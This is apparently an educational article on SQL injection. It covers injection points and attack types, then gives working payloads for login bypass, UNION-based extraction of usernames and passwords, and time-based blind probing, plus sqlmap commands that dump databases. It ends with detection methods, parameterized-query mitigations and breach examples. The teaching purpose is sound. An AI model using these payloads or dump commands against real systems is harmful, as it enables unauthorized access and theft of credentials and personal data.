What is SQL Injection?
SQL Injection (SQLi) is one of the oldest and most critical web vulnerabilities — it's been in the OWASP Top 10 for decades. It occurs when user-supplied input is embedded directly into a SQL query without proper sanitization, allowing an attacker to alter the query's logic.
The consequences range from authentication bypass and data exfiltration to full database takeover and even remote code execution in some configurations.
A successful SQLi attack can expose every record in a database — user credentials, PII, payment data, internal configs. It's consistently one of the highest-impact vulnerability classes in web pentesting.
What It Targets
SQLi exploits any place where user input gets embedded in a SQL query. Common injection points include:
- Login forms — username and password fields
- Search fields — anything that queries a database for results
- URL parameters — e.g.,
?id=1,?category=shoes - Cookies — if cookie values are used in database lookups
- HTTP headers — User-Agent, Referer, X-Forwarded-For stored and queried
Types of SQL Injection
Results are returned directly in the HTTP response. Inject SQL syntax and read the output on the page. Easiest to exploit.
Use UNION SELECT to append results from attacker-controlled queries to the original response. Requires knowing the number and type of columns.
Trigger database errors that reveal schema information — table names, column names, data types — in the error message.
No output returned, but behaviour changes based on true/false conditions. Infer data one bit at a time from response differences.
Inject SLEEP() or equivalent. If the response is delayed, the condition is true. Slow but works when there's zero output.
Exfiltrate data via DNS or HTTP callbacks to an external server. Useful when the app gives no visible response at all.
There's also Second-Order SQLi: malicious input is stored in the database safely, then later retrieved and used unsanitized in another query. Harder to spot in black-box testing.
Attack Examples
Login Bypass
If a login query is built like SELECT * FROM users WHERE username='$user' AND password='$pass', injecting into the username field can completely bypass it.
Username: admin' --
Password: anything
-- Resulting query:
SELECT * FROM users WHERE username='admin' --' AND password='anything'
-- Everything after -- is a comment; password check is skipped
Union-Based Data Extraction
payload — extract usernames and passwords' UNION SELECT username, password FROM users --
-- First, determine number of columns:
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 -- -- error here means 2 columns exist
Time-Based Blind
payload — MySQL time delay' OR IF(1=1, SLEEP(5), 0) --
-- If response takes ~5 seconds, injection is working
' OR IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0) --
-- Exfiltrate data one character at a time
Tools for Exploitation
The gold standard. Automated SQLi detection and exploitation — handles all types, extracts data, can escalate to OS shell.
Intercept and manually craft SQLi payloads. Intruder for automation, Repeater for testing individual payloads.
GUI-based SQLi tool for Windows. Useful for quick automated extraction. Less flexible than sqlmap.
# Test a URL parameter:
sqlmap -u "https://target.com/page?id=1" --dbs
# Dump a specific table:
sqlmap -u "https://target.com/page?id=1" -D database_name -T users --dump
# Test with Burp request file:
sqlmap -r request.txt --level=3 --risk=2
Detection Techniques
- Manual testing — inject single quotes
', double quotes", and SQL keywords into every input field. Look for errors, changed behaviour, or delays. - Automated scanners — sqlmap, Nikto, Burp Suite Active Scanner
- Fuzzing — use a SQLi wordlist (e.g., from SecLists) with Burp Intruder or ffuf
- Error monitoring — watch server logs for unusual SQL error messages in non-production environments
Mitigation & Prevention
SQLi is almost entirely preventable with proper coding practices. There's no excuse for it appearing in modern applications.
- Parameterized Queries / Prepared Statements — the single most effective fix. User input is passed as a parameter, never interpreted as SQL. Use
PDOormysqli_prepare()in PHP,cursor.execute(query, params)in Python. - ORM Tools — SQLAlchemy, Hibernate, Sequelize, etc. They abstract raw SQL and handle escaping for you.
- Input Validation — whitelist expected formats (integers, emails, etc.) and reject anything that doesn't match.
- Least Privilege — the database user your app connects with should only have SELECT/INSERT on the tables it needs — not DROP, not SELECT on system tables.
- Disable Verbose Errors — in production, never expose raw database errors to the user.
- WAF — a Web Application Firewall can filter common payloads, but it's a last line of defense, not a substitute for secure code.
Real-World Impact
Over 450,000 email addresses and plaintext passwords leaked via SQL injection on a subdomain. The credentials were published publicly.
Over 130 million credit card numbers stolen. Attackers used SQLi to gain a foothold, then deployed malware on the payment processing network. One of the largest data breaches in US history at the time.
SQL injection is caused by treating user input as trusted SQL code. Fix it with parameterized queries. Test for it manually with single quotes and OR 1=1, then automate with sqlmap. For learning, practice on PortSwigger Web Security Academy's SQLi labs — they're excellent.